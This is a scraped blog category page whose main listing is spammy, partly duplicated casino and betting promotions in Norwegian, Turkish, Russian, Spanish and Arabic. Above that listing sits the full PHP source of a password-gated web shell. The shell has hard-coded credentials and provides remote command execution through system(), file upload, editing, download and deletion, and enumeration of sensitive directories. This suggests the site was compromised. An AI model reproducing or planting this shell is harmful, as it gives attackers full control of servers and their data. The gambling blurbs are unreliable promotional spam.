if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 7 – collectives.berlin

Your digital paradise.

Category: public

  • Cazeus Casino: Din guide til de beste live spillene og slottilbudene

    Cazeus Casino gir en moderne spillopplevelse for norske spillere, med et bredt utvalg av spilleautomater og live spill. I denne guiden vil vi utforske de beste tilbudene og spillene tilgjengelig, samt hvordan du kan dra nytte av Cazeus casino i Norge velkomstbonuser og spennende kampanjer som tilbys av casinoet. Hva skiller sterke casinoalternativer fra svake…

    Click or not…

  • The Legal Framework of Gambling in the Arab World Challenges and Opportunities

    The Legal Framework of Gambling in the Arab World Challenges and Opportunities مقدمة حول المقامرة في العالم العربي تعتبر المقامرة ظاهرة قديمة عُرفت عبر مختلف الثقافات، لكنها في العالم العربي تكتسب بعدًا قانونيًا واجتماعيًا معقدًا. ترتبط المقامرة في العديد من الدول العربية بالقيود القانونية والدينية، مما يؤثر على كيفية تنظيمها وممارستها. ومع ذلك، فإن هناك…

    Click or not…

  • Pinco casino 2026 bonus fırsatları: Nasıl daha fazla değer kazanabilirsiniz?

    Online kumar endüstrisi sürekli olarak büyümekte ve oyuncular için birçok fırsat sunmaktadır. Pinco Casino, 2026 yılında kullanıcılarına sunduğu çeşitli bonus fırsatlarıyla dikkat çekiyor. Bu makalede, Pinco Casino’nun sunduğu avantajlar, bonus sistemleri, oyun çeşitliliği ve güvenlik önlemleri gibi temel unsurları ele alacağız. Özellikle Pinco tr ile birlikte oyuncular, bu bilgileri kullanarak nasıl daha fazla değer kazanabileceğinizi…

    Click or not…

  • Оптимизация управления модулями в Pinco: что нужно знать

    Казино становятся все более популярными, и оптимизация управления модулями в игре, такой как қазино Пинко , может значительно улучшить игровой процесс. Актуальные функции, такие как управление сессиями и токенами, играют ключевую роль в обеспечении качественного опыта для пользователей. В этом статье мы рассмотрим, как правильно организовать игровые процессы и какие преимущества это принесет. Как бонусы,…

    Click or not…

  • Masterhacks Blog: Comparando cuotas de apuestas para encontrar el valor real

    En el emocionante mundo de las apuestas, uno de los factores más cruciales para el éxito es entender cómo comparar las cuotas de apuestas. Este proceso no solo involucra analizar cifras, sino también interpretar el rendimiento de los equipos y la probabilidad de ciertos resultados. Con las estrategias adecuadas, como las que se presentan en…

    Click or not…

  • Masterhacks Blog: Comparando cuotas de apuestas para encontrar el valor real

    En el emocionante mundo de las apuestas, uno de los factores más cruciales para el éxito es entender cómo comparar las cuotas de apuestas. Este proceso no solo involucra analizar cifras, sino también interpretar el rendimiento de los equipos y la probabilidad de ciertos resultados. Con las estrategias adecuadas, como las que se presentan en…

    Click or not…

  • Pin-Up Casino: лучшие игры и функции для увлекательного отдыха в 2026 году

    Пинап казино становится все более популярным выбором среди любителей азартных игр в 2026 году благодаря своим уникальным функциям и разнообразию игр. Это заведение предлагает игрокам не только классические игровые автоматы, но и современные развлечения, вписывающиеся в новейшие тренды, такие как Пинап казино онлайн Казахстан , которые привлекают внимание многих пользователей. В этой статье мы рассмотрим,…

    Click or not…

  • Обзор акций Pin Up: какие бонусы доступны для игроков в Казахстане

    Игровая индустрия в Казахстане переживает бурное развитие, и среди множества онлайн-казино, которые появляются на рынке, бренд Pin Up привлекает особое внимание. С его разнообразными акциями и бонусами, игроки могут наслаждаться потрясающим опытом игры, а также в рамках этого обзора мы упомянем Бренд Pin Up для рынка Казахстана и то, что стоит знать перед регистрацией. Что…

    Click or not…

  • Обзор акций Pin Up: какие бонусы доступны для игроков в Казахстане

    Игровая индустрия в Казахстане переживает бурное развитие, и среди множества онлайн-казино, которые появляются на рынке, бренд Pin Up привлекает особое внимание. С его разнообразными акциями и бонусами, игроки могут наслаждаться потрясающим опытом игры, а также в рамках этого обзора мы упомянем Бренд Pin Up для рынка Казахстана и то, что стоит знать перед регистрацией. Что…

    Click or not…

  • Обзор акций Pin Up: какие бонусы доступны для игроков в Казахстане

    Игровая индустрия в Казахстане переживает бурное развитие, и среди множества онлайн-казино, которые появляются на рынке, бренд Pin Up привлекает особое внимание. С его разнообразными акциями и бонусами, игроки могут наслаждаться потрясающим опытом игры, а также в рамках этого обзора мы упомянем Бренд Pin Up для рынка Казахстана и то, что стоит знать перед регистрацией. Что…

    Click or not…